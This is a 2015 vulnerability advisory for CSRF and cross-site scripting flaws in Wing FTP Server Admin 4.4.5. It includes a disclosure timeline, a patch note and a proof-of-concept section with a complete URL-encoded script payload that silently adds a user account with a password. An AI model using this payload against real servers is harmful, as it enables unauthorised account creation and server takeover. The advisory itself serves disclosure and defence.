Wing FTP Server Admin 4.4.5 CSRF / Cross Site Scripting

[KhiZaRix]

Document Title:
===============
Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities


Release Date:
=============
2015-04-28


apparitionsec ID (AS-ID):
====================================
AS-WFTP0328


Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9


Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports
following protocols FTP, FTPS, HTTPS, SSH



Advisory Information:
==============================
Security researcher John Page discovered a CSRF & client-side cross site
scripting web vulnerability within Wing FTP Server Admin that allows adding
arbitrary users to the system.



Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new  patched version 4.4.6
April 28, 2015: Public Disclosure - John Page



Affected Product(s):
====================
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================


Request Method(s):
                                [+] POST & GET


Vulnerable Product:
                                [+] Wing FTP Server Admin 4.4.5


Vulnerable Parameter(s):
                                [+] domain & type


Affected Area(s):
                                [+] Server Admin


Proof of Concept (POC):
=======================
The CSRF and client-side cross site scripting web vulnerability can be
exploited by remote attackers without privileged application user account
and with low user interaction (click). Payload will add arbitrary users to
the system.

POC: Example

http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]

POC: Payload(s) Add arbitrary user to the system:

http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
 ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E


POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=


POC XSS:
http://localhost:5466/admin_event_list.html?type=


Solution - Fix & Patch:
=======================
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)


Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9


Credits & Authors:
==================
John Page ( hyp3rlinx ) - ISR godz @Apparitionsec


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.

Domains:  hyp3rlinx.altervista.org

Source: http://dl.packetstormsecurity.net/1504-exploits/AS-WFTP0328.txt